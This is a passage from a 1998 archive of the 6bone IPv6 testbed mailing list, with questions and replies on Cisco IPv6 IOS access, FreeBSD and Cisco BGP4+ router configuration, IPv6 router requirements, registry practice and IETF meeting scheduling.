From 6bone-owner  Tue May 19 14:04:50 1998
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From: Robert Szarka <szarka@downcity.net>
Subject: Re: IPv6 Question (about Cisco IOS for IPv6)
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References: <Version.32.19980518221410.040c7cc0@mail.downcity.net>
 <3560578A.9C89B7CD@hursley.ibm.com>
 <356030C4.554EEA33@cmg.nl>
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At 10:31 AM 5/19/98 , you wrote:
>[...]
>I am trying to get more details on this from Cisco, and this list will
know as
soon as I do.  I intend to also (finally) put the info on the 6bone web pages
so it's easier for the newcomer to the 6bone.

Thanks, Bob, and thank you to the others who sent info.  We would like
participate in the 6bone with at least one host here at DownCity, if possible,
so I will stay tuned!

Also, if anyone here is a CERFnet or Goodnet customer and has comments or
observations for a newbie using those backbone providers, I'd love to receive
some email from you.  :)

Awaiting the day when his blender will be pingable,

Robert Szarka
Managing Partner, Operations
DownCity, LLC
+1 860 823 3000

From 6bone-owner  Tue May 19 18:51:21 1998
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Hi folks,

i am currently working on my thesis and i need a traffic generator and
other analyzing tools for Digital Unix IPv6 spec.

Does anybody know if some tools are available ?

And i would really like to know how far the implementation of IPv6 over
ATM is. Are there some other information materials, except the
draft-ietf-ion-ipv6-atm-02 ?

If this is off topic here, I apologize.

thanks
Murat Goekdemir

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adr:            321 South Main Street;;;Providence;Rhode Island;02903;USA
email;internet: mgoeydem@crcg.edu
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From 6bone-owner  Thu May 21 09:12:08 1998
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ETRI/KR has been added as a pTLA per their request and subsequent review on this list.

Please welcome them and help them to come up on the backbone.

	http://www.isi.edu/cgi-bin/davidk/whois.pl?etri


Thanks,

Bob

From 6bone-owner  Sun May 24 00:24:38 1998
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I am in Beijing, China. Which backbone site of 6bone is appropriate to me?
Futher, how to contact with the backbone site?

Thank you much!


From 6bone-owner  Sun May 24 00:39:11 1998
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From: "Raphael Lee" <raphael@icu.ac.kr>
To: <6bone@ISI.EDU>
Subject: How can I install IPv6
Date: Sun, 24 May 1998 16:36:36 +0900
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Hello. This is Raphael Lee.
I'm a student of ICU in Korea.
I have a question about router setup a INRIA IPv6 router for FreeBSD 2.2.5.
first rc.ipv6 file options..(It is rc.ipv6-duvel)


# IPv6 setup for duvel{-v6.ipv6}.inria.fr (FreeBSD 2.2.5)
 autoconf6 -v >/tmp/autoconf6 2>&1 &
 cat /home/dupont/cache.au > /dev/audio

#else
# sysctl net.inet6.ipv6.multi_homed
#
# ifconfig de0 inet6 fe80::220:feff:fe00:8781/128
# route -n add -iface -inet6 ff02::/16 fe80::220:feff:fe00:8781
# route -n add -iface -inet6 ff12::/16 fe80::220:feff:fe00:8781
#
# ifconfig fpa0 inet6 fe80::a00:2bff:feb4:8ff3/128
#
# ifconfig ll0 inet6 fe80::220:feff:fe00:8781/64
#
# ifconfig sit0 inet6 ::128.93.9.50/96
# ifconfig sit1 inet6 ::193.51.193.60/123
#
# ifconfig lo0 inet6 ::1/128
# route -n add -inet6 ff01::/16 -iface ::1
# route -n add -inet6 ff11::/16 -iface ::1
# route -n add -iface -cloning -inet6 ::/0 fe80::220:feff:fe00:8781
#fi

# eui64 magic option can easily used here!

ifconfig de0 inet6 firstalias 3ffe:0306:1051:8300::/64 eui64
ifconfig fpa0 inet6 firstalias 3ffe:0306:1051:d6d2::/64 eui64
->  What is a prefix of router duvel?
     and.. where do I write my prefix for route?
-> why 2 prefix exist?
-> What is magic option? comment file is written by French..
   (sorry.. I can't speak french..   !_! )

# route to 6bone via a configured tunnel
#(cticonfig -v -4 -l -s 128.93.9.50 cti0 129.88.26.1;
# cticonfig -v -4 -s 128.93.9.50 cti1 192.44.68.18) >/tmp/cticonfig 2>&1
#
#ifconfig cti0 inet6 3ffe:0306:1051:8300:1:0:805d:932/128 ::129.88.26.1
#
#ifconfig cti1 inet6 firstalias 3ffe:0306:1051:8300:1:0:805d:932/128
::192.44.68.18

- > Is it tunnel for connection to 6bone from duvel?
    what is duvel? and.. what is 6bone connection point?

#route -n add -inet6 ::/0 ::129.88.26.1
#route -n add -inet6 3ffe:306:1051:d6d0::/60 fe80::240:bff:fe40:94bb -ifa
3ffe:0306:1051:d6d2:a00:2bff:feb4:8ff3

# turn IP forwarding on

sysctl -w net.inet6.ipv6.forwarding=1
sysctl -w net.inet6.ipv6.mforwarding=1
#ndpd-router -s -g
ndpd-router -s


and.. 1. 'make world in /usr/src/', 2. kernel compile,
3. update rc.ipv6 file.
are all methods  to setup router?

My IPv6 machine is not works in above methods..
I guess... ... inetd.conf or rc.conf file has to fix ?
how?

Bye...



From 6bone-owner  Sun May 31 12:08:45 1998
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Hi 6bone folk :

Is there any std or draft for 'Requirements for IPv6 Routers' -
Similar to RFC1812  ?
or is there a draft in the pipeline ?? some pointers appreciated.

If not, can I assume that the following IETF drafts are best
reference's avialable as on date ?

    Alain Durand draft
<draft-ietf-ngtrans-6bone-routing-issues-02.txt>
    Alain Durand / Bertrand Buclin
<draft-ietf-ngtrans-6bone-routing-practice-00.txt>

Thks


Pete



From 6bone-owner  Mon Jun  1 07:02:03 1998
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Hi 6bone folk :

Is there any std or draft for 'Requirements for IPv6 Routers' -
Similar to RFC1812  ?
or is there a draft in the pipeline ?? some pointers appreciated.

If not, can I assume that the following IETF drafts are best
practice reference's avialable as on date ?

    Alain Durand draft
<draft-ietf-ngtrans-6bone-routing-issues-02.txt>
    Alain Durand / Bertrand Buclin
<draft-ietf-ngtrans-6bone-routing-practice-00.txt>

Thks


Pete







From 6bone-owner  Mon Jun  1 08:16:11 1998
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To: peter dawson <peterdd@gto.net.om>, 6bone <6bone@ISI.EDU>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: Requirments for IPv6 routers
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Peter,

At 11:11 PM 5/31/98 +0400, peter dawson wrote:
>Hi 6bone folk :
>
>Is there any std or draft for 'Requirements for IPv6 Routers' -
>Similar to RFC1812  ?
>or is there a draft in the pipeline ?? some pointers appreciated.

None that I know of.


>If not, can I assume that the following IETF drafts are best
>reference's avialable as on date ?
>
>    Alain Durand draft
><draft-ietf-ngtrans-6bone-routing-issues-02.txt>
>    Alain Durand / Bertrand Buclin
><draft-ietf-ngtrans-6bone-routing-practice-00.txt>

The routing practice replaces routing issues.


Thanks,

Bob
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From 6bone-owner  Mon Jun  1 08:34:33 1998
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To: peter dawson <peterdd@gto.net.om>
Cc: 6bone <6bone@ISI.EDU>
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: Requirments for IPv6 routers 
In-reply-to: Your message of Sun, 31 May 1998 23:11:27 +0400.
             <3571AB5C.8656FF91@gto.net.om> 
Date: Mon, 01 Jun 1998 10:33:17 -0500
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> Is there any std or draft for 'Requirements for IPv6 Routers' -
> Similar to RFC1812 ?  or is there a draft in the pipeline ?? some
> pointers appreciated.

I often ponder the need for this (and the corresponding "hosts"
document), but I think it's a bit early to create it.
______________________________________________________________________________
Matt Crawford                    crawdad@fnal.gov                     Fermilab
"A5.1.5.2.7.1. Remove all classified and CCI boards from the COMSEC equipment,
thoroughly smash them with a hammer or an ax, and scatter the pieces."

From 6bone-owner  Mon Jun  1 09:28:53 1998
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--------------247616A61B06DCEAA3434DAE
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Dear Shailesh :

shailesh shashidhar govekar wrote:

> Hi 6bone folk
>
>        Please send me some site URL's which will give
>
> me maximum information on IPv6. If possible let me
>
> know about sites which do a comparative study of IPv4
>
> with IPv6.


I suggest you visit the 6bone home pages at http://www.6bone.net
for more
info..just follow the links :)) and it would be appreciated if
you could kindly
address your inquiries directly to the 6bone list at
6bone@isi.edu

thks :))

Pete

--------------247616A61B06DCEAA3434DAE
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<HTML>
Dear Shailesh :

<P>shailesh shashidhar govekar wrote:
<BLOCKQUOTE TYPE=CITE>Hi 6bone folk

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Please send me some site URL's
which will give

<P>me maximum information on IPv6. If possible let me

<P>know about sites which do a comparative study of IPv4

<P>with IPv6.</BLOCKQUOTE>
&nbsp;&nbsp;
<BR>I suggest you visit the 6bone home pages at <A HREF="http://www.6bone.net">http://www.6bone.net</A> for
more
<BR>info..just follow the links :)) and it would be appreciated if you
could kindly
<BR>address your inquiries directly to the 6bone list at<A HREF="mailto:6bone@isi.edu">
6bone@isi.edu</A>

<P>thks :))

<P>Pete</HTML>

--------------247616A61B06DCEAA3434DAE--


From 6bone-owner  Mon Jun  1 09:37:03 1998
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Date: Mon, 01 Jun 1998 17:36:50 +0100
To: "Matt Crawford" <crawdad@fnal.gov>
From: Peter Curran <pcurran@ticl.co.uk>
Subject: Re: Requirments for IPv6 routers 
Cc: peter dawson <peterdd@gto.net.om>, 6bone <6bone@ISI.EDU>
In-Reply-To: <199806011533.KAA13574@gungnir.fnal.gov>
References: <Your message of Sun, 31 May 1998 23:11:27 +0400.             <3571AB5C.8656FF91@gto.net.om>
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Matt

At 10:33 01/06/98 -0500, Matt Crawford wrote:
>> Is there any std or draft for 'Requirements for IPv6 Routers' -
>> Similar to RFC1812 ?  or is there a draft in the pipeline ?? some
>> pointers appreciated.
>
>I often ponder the need for this (and the corresponding "hosts"
>document), but I think it's a bit early to create it.

It's a shame that you think it is too early.  I think that it might be a
good idea to have a requirements doc for routers and hosts.  Lets face it,
history shows that such an approach is eventually necessary to pressure the
vendors into producing compliant systems with minimal functionality.

Why not start off IPv6 with such guidance in place from the beginning,
rather than having to develop such documents in the face of problems in the
future.

If such documents where to be produced, I am sure that the vendors (who
have spent a lot of money and R&D time in developing what is a pretty
healthy crop of basically interoperable products) could contribute their
considerable expertise developed during the UNH trials.  It could be argued
that it would benefit the early-bird vendors to have an agreement on what
constituted essential functionality, when they have to inevitably compete
with the hordes (I hope) of vendors who have yet to place their toes in the
water.

My 2p.

Peter
TICL
 
==============================================================
Peter Curran			pcurran@ticl.co.uk    http://www.ticl.co.uk
Consultant and Author
PGP key available from http://wwwkeys.uk.pgp.net:11371 or
ldap://certserver.pgp.com
PubKey Fingerprint =  5F94 D9A9 45EC 40A7 FB24  18BE 9C2E 74D6 E051 7F1F
===============================================================


From 6bone-owner  Mon Jun  1 09:38:54 1998
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	Mon, 1 Jun 1998 16:37:57 GMT
Date: Mon, 1 Jun 1998 16:37:57 +0000 (GMT)
From: Kevin Nicholson <kcn@digex.net>
To: 6bone@ISI.EDU
Subject: IPv6 looking glass.
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In case anyone would find it useful, I threw together a looking glass page
which should be reachable at http://sol.eng.digex.net.

-Kevin


From 6bone-owner  Mon Jun  1 11:07:59 1998
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Subject: Re: Requirments for IPv6 routers
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Peter ,

Peter Curran wrote:

> It's a shame that you think it is too early.  I think that it
> might be a
> good idea to have a requirements doc for routers and hosts.
> Lets face it,
> history shows that such an approach is eventually necessary to
> pressure the
> vendors into producing compliant systems with minimal
> functionality.

I agree on that at least a draft and work towards a final doc.

But with QoS, Congestion Control and maximum bandwidth
utilisation, being crucial aspects of IPng, has enough R&D
/testing
been done to specifically  produce the heathly crop as you
mentioned ? Take for example At the ATM layer, during a
Crankback (after flowspec have  been negoiated between
2 IPv6 nodes), what happens if the  Crankback occurs
to a IPv4 node ??  Well I'm trying to figure this out .. hence
the basic question for Requirments for IPv6 routers !!

However, I also understand that my line of thinking maybe
off track :))


Pete



From 6bone-owner  Mon Jun  1 20:31:52 1998
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From: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>
To: Peter Curran <pcurran@ticl.co.uk>, Matt Crawford <crawdad@fnal.gov>
Cc: peter dawson <peterdd@gto.net.om>, 6bone <6bone@ISI.EDU>
Subject: RE: Requirments for IPv6 routers 
Date: Tue, 2 Jun 1998 05:31:50 +0200 
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Peter, 

Although your argument is very much valid, I agree with Matt that we are too
early in the IPv6 game to be in position to propose anything sensible as
router requirements. We are still missing very large chunks of the IPv6
picture yet to make any valid recommendation: for example, there is no
robust IGP protocol yet (I don't consider RIP as robust...); we have'nt yet
experimented with major IPv6 features such as IPSEC; router renumbering is
not yet finalized; the scoped address debate is still going on; eventually,
we want to promote SNMPv3 which just got out; etc... etc...

Let's first have these 'basic'  feature specified, implemented and
experimented with before we go and produce a router requirement document.

Cheers, Bertrand

From 6bone-owner  Tue Jun  2 06:50:02 1998
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To: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>,
        Peter Curran <pcurran@ticl.co.uk>, Matt Crawford <crawdad@fnal.gov>
From: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>
Subject: RE: Requirments for IPv6 routers 
Cc: peter dawson <peterdd@gto.net.om>, 6bone <6bone@ISI.EDU>
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My somewhat biased opinion:

The "requirements" documents (on routers and hosts) were done mainly because
there were errors or omissions in the base documents that experience showed
were important to correct, but the decision at the time was that opening
up the base documents for modification would be a Bad Thing.

I would hope that the IPv6 docs, which are still at Proposed Standard,
can be clarified in the progression to Full Standard so much that most
of the "fixes" in the "requirements" documents are not needed.

The current crop of "ngtrans" requirements are documenting what we
think *at this point in time*, in *this* situation, which I think is
a Good Thing, but not a permanent feature of the IPv6 scene.

                             Harald A

Harald Tveit Alvestrand
IETF Area Director, Operations and Management
NOTE: No longer Area Director for Applications.


From 6bone-owner  Tue Jun  2 07:17:21 1998
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From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: Requirments for IPv6 routers 
In-reply-to: Your message of Tue, 02 Jun 1998 05:31:50 +0200.
             <71203AED30DAD111AFEF0000C09940BE077E8A@gvamsx1.ch.att.com> 
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> We are still missing very large chunks of the IPv6
> picture yet to make any valid recommendation: for example, there is no
> robust IGP protocol yet (I don't consider RIP as robust...)

Not to argue against myself, but there's OSPFv6
(draft-ietf-ospf-ospfv6-05.txt).  But I haven't
seen an implementation.

From 6bone-owner  Tue Jun  2 13:11:31 1998
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From: Dimitry Haskin <dhaskin@nexabit.com>
To: Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>
Cc: "6bone (E-mail)" <6bone@ISI.EDU>
Subject: RE: Requirments for IPv6 routers 
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	From:	Harald Tveit Alvestrand
[SMTP:Harald.Alvestrand@maxware.no]
	 
	My somewhat biased opinion:

	The "requirements" documents (on routers and hosts) were done
mainly because
	there were errors or omissions in the base documents that
experience showed
	were important to correct, but the decision at the time was that
opening
	up the base documents for modification would be a Bad Thing.

	I would hope that the IPv6 docs, which are still at Proposed
Standard,
	can be clarified in the progression to Full Standard so much
that most
	of the "fixes" in the "requirements" documents are not needed.

Yes, this has been a premise as far as I remember.

	The current crop of "ngtrans" requirements are documenting what
we
	think *at this point in time*, in *this* situation, which I
think is
	a Good Thing, but not a permanent feature of the IPv6 scene.

True too.

Dimitry

------------------------------------------------------------------------
-------------------------------------
Dimitry Haskin
Nexabit Networks, Inc.	http://www.nexabit.com

From 6bone-owner  Mon Jun  8 08:02:54 1998
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Message-ID: <357BFDC6.1C50678C@gto.net.om>
Date: Mon, 08 Jun 1998 19:05:42 +0400
From: peter dawson <peterdd@gto.net.om>
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Subject: Flow label/QoS
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Hi 6bone :

Need some feed back on this...

It is assumed that the QoS Architecture implements
Reserved Bandwidth services, supported with a network
resource allocation on a per flow basis. Applications
requesting  for Reserved Bandwidths per-flow setup is
initiated with RSVP as the signaling protocol, or as
a hop-by-hop option in the IPv6 Header. The Flow Label field
indicates requests for special handling by routers.  Hence
once the policy function and Qos Thresholds have
been established, this would  result in preferential
scheduling treatment on the router because it would recognize
the packet as a preferred class , based on on the Flow label
option/ per flow specs.

Now..my doubt ;

1) Even though the threshold has been setup on the IPv6 router
to the aggregate flow of the outgoing interface, the IP layer
still does not know exactly where the VC is going at the
physcial layer(e.g ATM layer). Hence, how does IPv6 structure
bandwidth allocations and control call admissions ?

2) On reading RFC1883, it states that the Flow label field
is still experimental and subject to changes...as flow support
becomes clearer.  Is there any drafts / further reading
which can be refered  to get get a better understanding
on this aspect ?


Peter



From 6bone-owner  Tue Jun  9 11:56:34 1998
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Date: Tue, 09 Jun 1998 14:53:42 -0400
From: Marcus Williford <marcus@utelfla.com>
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Help,

I would like to participate in the 6BONE ipv6 network.

Our organization has the available Cisco routers, but I am having
trouble locating the IOS with ipv6 support.
Who is the correct point of contact for IPv6 IOS code.

Does anyone have a TLA node near Sprintlink in Atlanta?

Thanks,
Marcus
marcus@utelfla.com





From 6bone-owner  Wed Jun 10 01:23:18 1998
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In-reply-to: Your message of "Tue, 09 Jun 1998 14:53:42 EDT."             <357D84B6.F8B7E109@utelfla.com> 
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You have to contact the distributor of your gear, he has to contact cisco and
then go back to you with a non-disclosure agreement ...


From 6bone-owner  Wed Jun 10 05:11:28 1998
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Dear ppl,

   I'm still researching all the possibilities of IPv6 (for now just
theoretical), and I've stumbled onto a question.
Everywhere can be read how to encapulate IPv6 over IP and how to access
IP machines by IPv6 machines, but can an IPv4 host reach a IPv6 direct ?

I think it's probebly possible using a NAT, my question is can a host
(running for example freebsd with the ipv6 stack) act like a NAT for
translating the IPv6 addresses to something the IPv4 can connect to ?

I want to try in practice the following:

IPv6 only host  <-> IPv4/IPv6 dual stack <-> IPv4 only host

Can these nodes communicate with each other ?
I know the following communication can be establised:

IPv6 only host <-> IPv4/IPv6 dual stack

and

IPv4/IPv6 dual stack <-> IPv4 only host

so my logical conclusion is:

IPv6 only host <-> IPv4 only host 

But offcourse there needs to be a NAT or gateway of somesort.
Can a FreeBSD node translate the addresses for communication between the
two IP-only hosts ?

Can someone give me some more info about this ?
  
-- 
TIA & TTUL,

Mike Crawfurd.

Mike Crawfurd                          Telephone. (+31) 10 253 7000
CMG Advanced Technologies Industries   Telefax.   (+31) 10 253 7033
Kralingseweg 241, 3062 CE Rotterdam    Mobile.    (+31) 65 534 7574
The Netherlands                        Email.     mike.crawfurd@cmg.nl

From 6bone-owner  Wed Jun 10 13:53:21 1998
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To: lalle@sics.se, ipv6-drift@ifi.uio.no, 6bone@ISI.EDU
Subject: BGP4+configuration on Cisco routers
From: Jan Marius Evang <jane@ifi.uio.no>
Date: 10 Jun 1998 22:53:10 +0200
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WE are trying to set up BGP4+ routing to 6bone through SICS, and there
seems to be something wrong in the way we do it... There is not much
help from the Cisco web-page, or from the router command-line.

Has anybody got any hints?

Yours
Jan Marius Evang

from show running-config:

ipv6 bgp neighbor 3FFE:200:1:B::1 remote-as 2839
ipv6 bgp neighbor 3FFE:200:1:B::1 ebgp-multihop 3
ipv6 bgp network 3FFE:2A00::0/24 summary
interface Tunnel0
 no ip address
 ip route-cache policy
 ipv6 enable
 ipv6 address 3FFE:200:1:B::2/64
 tunnel source 128.39.11.253
 tunnel destination 193.10.66.219
 tunnel mode ipv6ip
autonomous-system 224
ipv6 route 3FFE::0/16 3FFE:200:1:B::1

#sh ipv6 bgp
BGP IPv6 table version is 0, local router id is 0.0.0.0
Status codes: * - valid, > - best, i - internal
Origin codes: i - IGP, e - EGP, ? - incomplete

#sh ipv6 bgp ne
 
BGP neighbor 3FFE:200:1:B::1, remote as 2839, internal link
  local address 0::0, version 0

#sh ipv6 bgp su
BGP table version 0, IPv6 routing table version 0
 
Neighbor                                     TblVer Peer Connection
3FFE:200:1:B::1                                   0 ibgp   multihop


-- 
-O         /\/\ |  Jan Marius Evang  | 
Røyskatt   0 0 \|    Greve av Ling   | "En krakk er en Røyskatt"
           \ /\ | /In Aurum Veritas/ | [Bare Egil Band, "Alle dyr"]

From 6bone-owner  Wed Jun 10 14:39:47 1998
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To: marcus@utelfla.com
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: I need some help getting started
Cc: 6bone@ISI.EDU, Martin Mcnealis <mmcneali@cisco.com>
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Marcus,

At 02:53 PM 6/9/98 -0400, Marcus Williford wrote:
>Help,
>
>I would like to participate in the 6BONE ipv6 network.
>
>Our organization has the available Cisco routers, but I am having
>trouble locating the IOS with ipv6 support.
>Who is the correct point of contact for IPv6 IOS code.

I've enclosed the Cisco IPv6 product manager's comments on this to me below.  I would send your request to Martin McNealis, the Cisco product manager for IPv6, as I've not heard from him since he sent me this note in mid-May.

>...  we plan on just putting links to the IOS 
>Beta version up on our IPv6 pages so that anybody who's interested in 
>running IPv6 on Cisco gear and connecting to the 6-Bone can pull down 
>the appropriate image. That way we make it more available than with the 
>current mechanism where Cisco customers have to officially apply via 
>EFT/Beta paperwork ...


>Does anyone have a TLA node near Sprintlink in Atlanta?

I'll let the mailer respond to this part.


Bob

From 6bone-owner  Fri Jun 12 02:25:16 1998
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I have Ipv6 running on my m/c (as a host) I want to have the tunnel endpoint.
My IP address is 144.16.111.233
my inet6 address is fe80::280:48ff:fe85:d426/10 Site Local
inet6 address sffe::400:100:f101::1/64 Global

shilpa


From 6bone-owner  Fri Jun 12 02:32:37 1998
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I am aware of the various product that support these methods, but my
thesis scope is limited to an enviroment without any contact of router
(since it's not a very technical school and they are very easily
confused).

So my intensions are to use just a LAN implementation with just a few
hosts, and my hopes are that soon I can implement it within my company
with the use of e.g. cisco routers.

Thanks anyway

Mike

Pedro Marques wrote:
> 
> >>>>> "Mike" == Mike Crawfurd <mike.crawfurd@cmg.nl> writes:
> 
>     Mike> I want to try in practice the following:
> 
>     Mike> IPv6 only host <-> IPv4/IPv6 dual stack <-> IPv4 only host
> 
>     Mike> But offcourse there needs to be a NAT or gateway of
>     Mike> somesort.
> cisco's IPv6 implementation contains such functionality.
> 
> regards,
>   Pedro.

-- 
TIA & TTUL,

Mike Crawfurd.

Mike Crawfurd                          Telephone. (+31) 10 253 7000
CMG Advanced Technologies Industries   Telefax.   (+31) 10 253 7033
Kralingseweg 241, 3062 CE Rotterdam    Mobile.    (+31) 65 534 7574
The Netherlands                        Email.     mike.crawfurd@cmg.nl

From 6bone-owner  Sat Jun 13 10:14:13 1998
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Is there a whois server out there, that can be contacted overn the 6bone?
I've tried whois.6bone.net, but it only returns IPv4 addresses. I've just
patched ripe-whois-tools+6bone-extensions, but before I release it I would
like to test it. running it loacally with tht ripe whoisd over IPv6 works
fine.

Marc

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Date: Sun, 14 Jun 1998 10:37:53 -0700
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Take me off subscription!




From 6bone-owner  Sun Jun 14 10:48:34 1998
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Hi ---

    I am tired of recieving all of this dumb email conversations.  Please
take me off whatever newsletter this is.  I want nothing to do with this
newsletter.  Be more constructive.

Paul




From 6bone-owner  Sun Jun 14 13:34:08 1998
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To: davidk@ISI.EDU, rlfink@lbl.gov (Bob Fink)
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: ipv6 native in the registry
Cc: jane@ifi.uio.no, 6bone@ISI.EDU
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David,
	I'm in the process of registering native ipv6 links, since we are making a national ipv6 native network.  Since the registry has been upgraded to RPSL, any progress on this or do we still stick with the IPv6 in IPv6 hack? 

Regards, Marc.

At 14:31 98-04-29 -0700, davidk@ISI.EDU wrote:
>
>Bob, Marius,
>
>Bob Fink writes:
>> 
>> At 02:54 PM 4/29/98 +0200, Jan Marius Evang wrote:
>> >How Should I indicate that two sites are connected, not by a tunnel,
>> >but by an ATM link?
>> 
>> Goos question.  The ipv6-site description:
>> 
>> 	http://www.ISI.EDU/~davidk/6bone/draft-ietf-ngtrans-6bone-registry-02.txt
>> 
>> 
>> doesn't seem to have anything specified but tunnels for links.  
>> 
>> I've cc'd David Kessens on this, maybe he has a a good idea how to do this
>> (time for an addition to the ipv6-site object?).
>
>So far, we have gotten around this by doing something that is strictly not
>correct, but works for now ... :
>
>use 'IPv6 in IPv6' as the encapsulation in a tunnel attribute
>
>I do think that this should be fixed. However, fixing this probaly
>opens up a can of worms since we will find all kind of other problems
>that needs fixing too. In the end we will find that we most likely
>need to move to RPSL. RPSL has much more power to specify what you
>want.
>
>Although I would like it to be different, I am not entirely ready to
>introduce the full power of RPSL right now (we are currently busy with
>the transition to RPSL for the IPv4 world) and therefore it might be
>best to use the 'IPv6 in IPv6' trick for the coming months.
>
>I am willing to do a quick fix if people indicate that that is
>preferred, but I would rather go for a more consistent solution that
>will take a bit more waiting time from you,
>
>David K.
>---
>
>

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
pgp :57 86 A6 83 D3 A8 58 32 F7 0A BB BD 5F B2 4B A7
------------------------------------------------------------
Auteur du livre TCP/IP Simplifié, Éditions Logiques, 1997
------------------------------------------------------------

From 6bone-owner  Sun Jun 14 14:49:09 1998
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Date: Sun, 14 Jun 1998 17:48:44 -0400 (EDT)
From: Lijia Qin <qin@csd.uwo.ca>
To: 6bone@ISI.EDU
Subject: A 6bone provider needed!
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Hi,
  I am a graduate student in University of Western Ontario, Canada and 
I want to connect to the 6bone with the Microsoft Research IPv6 
release, I was wondering if anybody already on 6bone could support our 
connection? Thank you.     Lijia


---------------------------------------------------------------------------
Lijia QIN
Department of Computer Science 
University of Western Ontario
London, Ontario, N6A 5B7
Canada
E-mail:qin@csd.uwo.ca



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Date: Sun, 14 Jun 1998 20:16:19 -0400
To: Lijia Qin <qin@csd.uwo.ca>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: A 6bone provider needed!
Cc: 6bone@ISI.EDU, 6pop@viagenie.qc.ca
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Hi Lijia,
	Viagénie and Dalhousie Univ. have a common project for connecting canadian sites. We will talk to you off the list.

Regards, Marc.

At 17:48 98-06-14 -0400, Lijia Qin wrote:
>Hi,
>  I am a graduate student in University of Western Ontario, Canada and 
>I want to connect to the 6bone with the Microsoft Research IPv6 
>release, I was wondering if anybody already on 6bone could support our 
>connection? Thank you.     Lijia
>
>
>---------------------------------------------------------------------------
>Lijia QIN
>Department of Computer Science 
>University of Western Ontario
>London, Ontario, N6A 5B7
>Canada
>E-mail:qin@csd.uwo.ca
>
>
>
>

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
pgp :57 86 A6 83 D3 A8 58 32 F7 0A BB BD 5F B2 4B A7
------------------------------------------------------------
Auteur du livre TCP/IP Simplifié, Éditions Logiques, 1997
------------------------------------------------------------

From 6bone-owner  Tue Jun 16 15:48:57 1998
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Date: Tue, 16 Jun 1998 22:48:47 +0000
From: David Kessens <davidk@ISI.EDU>
To: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>, Bob Fink <rlfink@lbl.gov>
Cc: jane@ifi.uio.no, 6bone@ISI.EDU
Subject: Re: ipv6 native in the registry
References: <1318288652-147084926@cnrmail.lbl.gov> <199804292131.OAA13619@brind.isi.edu> <3.0.5.32.19980614150101.00b5c2d0@mail.viagenie.qc.ca>
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Marc,

On Sun, Jun 14, 1998 at 03:01:01PM -0400, Marc Blanchet wrote:
>
> I'm in the process of registering native ipv6 links, 
> since we are making a national ipv6 native network.
> Since the registry has been upgraded to RPSL, any progress on this or
> do we still stick with the IPv6 in IPv6 hack? 

Yes. We are still extremely busy here with the IPv4 RIPE181 -> RPSL
conversion and we first want to have that up and running before moving
on IPv6.

In principle all prefixes that are registered in the 'ipv6-site:'
objects are supposed to be in use and reachable through the 6bone (as
opposed to the allocations/assignements which are registered in the
'inet6num:' objects). The 'ipv6-site:' describes how a certain set of
prefixes is connected to the 6bone. You can use the 'IPv6 in IPv6'
hack for describing native links between different sites, but this is
not necessary inside the 'ipv6-site:' itself since it is assumed that
the prefixes are natively connected, or otherwise another 'ipv6-site:'
would have been present. Actually you could even decide to omit the
tunnel information for natively connected 'ipv6-site:'s since this
would again imply that they are somehow connected natively to the
6bone, since I would assume that this is (should be) the default
operation of an IPv6 Internetwork just as we are currently doing in
the IPv4 world. And finally, RPSL will add 'inet-rtr:' (router)
objects which will give much more flexibility to describe the nature
of the links between the 'ipv6-site:'s.

David K.
---

From 6bone-owner  Tue Jun 16 15:54:31 1998
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To: MOSTHAVM@plcman.siemens.co.uk, 6bone@ISI.EDU
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Marc,

On Sat, Jun 13, 1998 at 06:17:00PM +0100, MOSTHAVM@plcman.siemens.co.uk wrote:
> Is there a whois server out there, that can be contacted overn the 6bone?
> I've tried whois.6bone.net, but it only returns IPv4 addresses. I've just
> patched ripe-whois-tools+6bone-extensions, but before I release it I would
> like to test it. running it loacally with tht ripe whoisd over IPv6 works
> fine.

This is good news.

I am looking forward to work with you to make the 6bone registry
reachable though the 6bone.

I will follow up on this with you privately.
I will let the list know when ready.

David K.
---

From 6bone-owner  Wed Jun 17 12:38:26 1998
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Date: Wed, 17 Jun 1998 12:38:08 -0700
To: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
From: Bob Fink <rlfink@lbl.gov>
Subject: scheduling for August IETF
Cc: Tony Hain <tonyhain@microsoft.com>, Bob Gilligan <gilligan@freegate.net>,
        ops-chairs@ops.ietf.org
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6bone/ngtrans folk,

I will need to schedule the ngtrans meeting soon for the August IETF, so am soliciting input. I'm inclined to ask for the usual two one-hour slots on Tuesday afternoon.


Currently we have the following on the table:

"IPv6 Transitions Mechanisms" draft for advancement to replace RFC 1933 

"6bone Routing Practices" draft for advancement to Info RFC

6bone operational issues

	BGP4+ routing reports
  other stuff??

When/if do we change from a 'test' AUP to a production 'AUP'

Status of IPv6 address registry issues with RIPE/ARIN/APNIC


Please let me know what else may be appropriate.


Thanks,

Bob


From 6bone-owner  Thu Jun 18 08:38:47 1998
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Date: Thu, 18 Jun 1998 08:38:41 -0700
To: Girish Chiruvolu <chirgi@aud.alcatel.com>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: scheduling for August IETF
Cc: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com,
        Tony Hain <tonyhain@microsoft.com>,
        Bob Gilligan <gilligan@freegate.net>, ops-chairs@ops.ietf.org
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Girsih,

At 10:34 AM 6/18/98 -0500, Girish Chiruvolu wrote:
>
>may I suggest  some discussions on QoS and Mobility (/Address) 
